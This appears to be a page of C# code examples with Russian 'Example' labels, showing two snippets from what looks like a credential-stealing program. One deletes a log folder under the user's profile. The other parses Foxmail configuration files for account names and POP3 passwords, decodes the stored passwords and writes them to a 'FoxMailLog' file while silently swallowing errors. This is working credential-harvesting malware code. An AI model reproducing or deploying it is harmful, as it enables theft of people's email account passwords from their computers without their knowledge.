Пример #1
0
 public static void DeltaLogs(string NameFolder, bool True = true) => CombineEx.DeleteDir(CombineEx.CombinationEx(GlobalPath.User_Name, NameFolder), True);
Пример #2
0
        private static void Reader(string FilePath, string MailText, bool accfound = false)
        {
            try
            {
                Thread.Sleep(1000);
                using (var fs = new FileStream(FilePath, FileMode.Open))
                {
                    int    ver = 0, len = (int)fs.Length;
                    byte[] bits = new byte[len];

                    string buffer = string.Empty, acc = string.Empty, pw = string.Empty;

                    int read = fs.Read(bits, 0, len);
                    ver = bits[0] != 0xD0 ? 1 : 0;
                    for (int jx = 0; jx < len; ++jx)
                    {
                        if (bits[jx] <= 0x20 || bits[jx] >= 0x7f || bits[jx] == 0x3d)
                        {
                            buffer = "";
                        }
                        else
                        {
                            buffer += (char)bits[jx];

                            if (!buffer.Equals("Account") && !buffer.Equals("POP3Account"))
                            {
                                if (accfound && (buffer.Equals("Password") || buffer.Equals("POP3Password")))
                                {
                                    int index = jx + 9;
                                    if (ver == 0)
                                    {
                                        index = jx + 2;
                                    }
                                    while (bits[index] > 0x20 && bits[index] < 0x7f)
                                    {
                                        pw += (char)bits[index];
                                        index++;
                                    }
                                    CombineEx.CreateFile(true, GlobalPath.FoxMailLog, $"{MailText} : {DecodeFox(ver, pw)}{Environment.NewLine}");
                                    jx = index;
                                    break;
                                }
                            }
                            else
                            {
                                int index = jx + 9;
                                if (ver == 0)
                                {
                                    index = jx + 2;
                                }

                                while (bits[index] > 0x20 && bits[index] < 0x7f)
                                {
                                    acc += (char)bits[index];
                                    index++;
                                }

                                accfound = true;
                                jx       = index;
                            }
                        }
                    }
                }
            }
            catch { }
        }